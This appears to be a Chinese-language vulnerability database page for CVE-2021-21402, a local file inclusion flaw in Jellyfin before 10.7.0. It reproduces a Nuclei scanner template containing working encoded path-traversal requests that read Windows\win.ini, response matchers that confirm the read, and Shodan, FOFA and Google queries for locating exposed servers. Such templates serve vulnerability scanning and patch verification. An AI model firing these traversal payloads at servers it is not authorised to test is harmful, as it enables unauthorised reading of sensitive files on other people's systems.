CVE-2021-21402: Jellyfin <10.7.0 - Local File Inclusion

日期: 2025-08-01 | 影响软件: Jellyfin | POC: 已公开

漏洞描述

Jellyfin before 10.7.0 is vulnerable to local file inclusion. This issue is more prevalent when Windows is used as the host OS. Servers exposed to public Internet are potentially at risk.

PoC代码[已公开]

id: CVE-2021-21402

info:
  name: Jellyfin <10.7.0 - Local File Inclusion
  author: dwisiswant0
  severity: medium
  description: |
    Jellyfin before 10.7.0 is vulnerable to local file inclusion. This issue is more prevalent when Windows is used as the host OS. Servers exposed to public Internet are potentially at risk.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: This is fixed in version 10.7.1.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx
    - https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1
    - https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21402
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-21402
    cwe-id: CWE-22
    epss-score: 0.92168
    epss-percentile: 0.99702
    cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jellyfin
    product: jellyfin
    shodan-query:
      - http.html:"Jellyfin"
      - http.html:"jellyfin"
      - http.title:"jellyfin"
    fofa-query:
      - title="Jellyfin" || body="http://jellyfin.media"
      - title="jellyfin"
      - body="jellyfin"
      - title="jellyfin" || body="http://jellyfin.media"
    google-query: intitle:"jellyfin"
  tags: cve,cve2021,jellyfin,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
      - "{{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Type: application/octet-stream"

      - type: regex
        part: body
        regex:
          - "\\[(font|extension|file)s\\]"

      - type: status
        status:
          - 200
# digest: 490a00463044022024ab063eb2d9e134e03fcb5ab482273538cc06bd68048e28e1b7ee569fed43f302206377d4c8fcb1345051bf29d47d1b6df91959621455af679cc4267e965925a6f1:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21402.yaml

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